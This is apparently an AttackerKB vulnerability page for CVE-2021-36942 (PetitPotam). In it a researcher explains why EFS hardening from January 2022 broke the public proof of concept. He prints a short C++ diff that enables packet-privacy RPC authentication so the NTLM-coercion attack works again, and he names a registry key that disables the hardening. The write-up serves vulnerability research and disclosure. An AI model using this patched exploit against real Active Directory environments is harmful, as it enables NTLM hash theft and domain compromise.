Very High
CVE-2021-36942
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Moderate
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Windows LSA Spoofing Vulnerability
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityMedium
Technical Analysis
Recently, I was attempting to combine James Forshaw’s remote EFSRPC file write “bug” with a local privilege escalation that I’d discovered. I was getting strange results. Working on one system, but not another at the same patch level. I’d seriously polluted that environment with Windows Endpoint Manager, so I decided to spin up a fresh AD environment in hopes of establishing a trustworthy baseline.
Once I’d stood up the new AD environment, and patched everything completely (through January 2022), I retested my proof of concept and was… unhappy and more than a bit confused with the result. Seeking additional feedback, I grabbed PetitPotam off the shelf since it’s a simpler attack. But that didn’t work either! That’s when I found the following in the event log.
Which lead me to KB5009763: EFS security hardening changes in CVE-2021-43217. CVE-2021-43217 is a buffer overflow affecting EFS, but it isn’t related to what I was attempting to do. Regardless, the way Microsoft decided to address this CVE was to require EFSRPC clients to use packet-level privacy, and, at the time of testing, the PetitPotam proof of concept didn’t.
We can further prove that out by creating the registry key mentioned by the KB to disable this behavior: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowAllCliAuth. Setting this key to ‘1’ allows PetitPotam to successfully leak the NTLM hash, but it also leaves this log message:
Great! PetitPotam still works, but this registry key is unlikely to be enabled in the wild. It doesn’t even exist by default!
The obvious solution is just to enable privacy level authentication in PetitPotam. That happens to be quite trivial. Just use the RpcBindingSetAuthInfo
function after the binding handle has been created. The following is a patch I added to my local PetitPotam to test enabling privacy level authentication.
albinolobster@ubuntu:~/PetitPotam$ cat diff diff --git a/PetitPotam/PetitPotam.cpp b/PetitPotam/PetitPotam.cpp index 1885eb2..debbd1e 100644 --- a/PetitPotam/PetitPotam.cpp +++ b/PetitPotam/PetitPotam.cpp @@ -1,6 +1,7 @@ // PetitPotam.cpp : Ce fichier contient la fonction 'main'. L'exécution du programme commence et se termine à cet endroit. // Author: GILLES Lionel aka topotam (@topotam77) +#include <string> #include <stdio.h> #include <tchar.h> #include <assert.h> @@ -60,6 +61,18 @@ handle_t Bind(wchar_t* target) wprintf(L"Error in RpcBindingFromStringBindingW\n"); return(0); } + + std::wstring spn(L"HOST/"); + spn.append(target); + + RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, reinterpret_cast<RPC_WSTR>(&spn[0]), RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_AUTHN_GSS_NEGOTIATE, nullptr, RPC_C_AUTHZ_NONE); + if (RpcStatus != 0) + { + wprintf(L"Error in RpcBindingFromStringBindingW\n"); + return(0); + } + RpcStringFreeW(&StringBinding);
Note the use of RPC_C_AUTHN_LEVEL_PKT_PRIVACY
for the AuthnLevel
. This small change is all that is needed to make PetitPotam work again.
Because I experienced a weird update in one of my AD environments, I figured a video demonstrating all of the above would be useful. You can find the video on here.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- windows server 2004,
- windows server 2008 -,
- windows server 2008 r2,
- windows server 2012 -,
- windows server 2012 r2,
- windows server 2016,
- windows server 2019,
- windows server 20h2
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: